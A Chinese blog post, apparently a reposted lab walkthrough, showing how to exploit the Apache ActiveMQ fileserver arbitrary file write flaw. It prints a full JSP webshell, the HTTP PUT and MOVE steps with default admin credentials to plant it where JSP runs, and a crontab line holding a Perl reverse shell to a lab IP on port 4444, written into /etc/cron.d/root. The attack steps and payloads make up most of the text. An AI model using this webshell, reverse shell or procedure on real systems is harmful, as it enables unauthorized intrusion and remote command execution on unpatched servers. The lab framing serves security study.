天啊,一男子竟然对ActiveMQ做这种事
Posted 9ouu
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了天啊,一男子竟然对ActiveMQ做这种事相关的知识,希望对你有一定的参考价值。
Apache ActiveMQ任意文件写入漏洞
影响版本
Apache ActiveMQ
5.0.0 - 5.13.2
5.12.X -5.13.X 默认关闭了 fileserver
5.14.0 删除了 fileserver。
漏洞成因是 在fileserver 中可以使用 PUT、MOVE 等方法对文件进行操作
执行命令
它的端口为8161,在浏览器访问ip:8161就可以了
实验需要进行登录,点击“Manage ActiveMQ broker”进行登录,账号跟密码都是admin
使用burpsuite抓个包,在fileserver这个文件夹里,使用put方法,写入shell,如果返回204,说明写入成功。
我用的webshell
<%@ page import="java.util.*,java.io.*"%>
<html><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
查看是否写入成功
http://192.168.146.145:8161/fileserver/9ouu.txt
查看系统路径,在移动文件的时候需要用到
http://192.168.146.145:8161/admin/test/systemProperties.jsp
然后继续抓包 ,方法改为MOVE,路径为下,在api这个目录中是可以解析jsp文件的,成功返回204。
Destination: file:///opt/apache-activemq-5.11.1/webapps/api/9ouu.jsp
这时候访问http://192.168.146.145:8161/api/,看看是否移动成功
这时候就可以执行命令了
http://192.168.146.145:8161/api/9ouu.jsp?cmd=ls
反弹shell
使用crontab写入一个定时任务,自动化反弹shell,我这里是一分钟执行一次。
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.146.142";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
crontab小科普
* * * * *
5个*,第一个表示分钟,第二个表示小时,然后是日期,月份,星期
返回204说明写入成功
然后移动它
Destination: file:///etc/cron.d/root
在靶机上是可以看到写入成功的
使用nc开启监听,等待反弹
微信小tips
以上是关于天啊,一男子竟然对ActiveMQ做这种事的主要内容,如果未能解决你的问题,请参考以下文章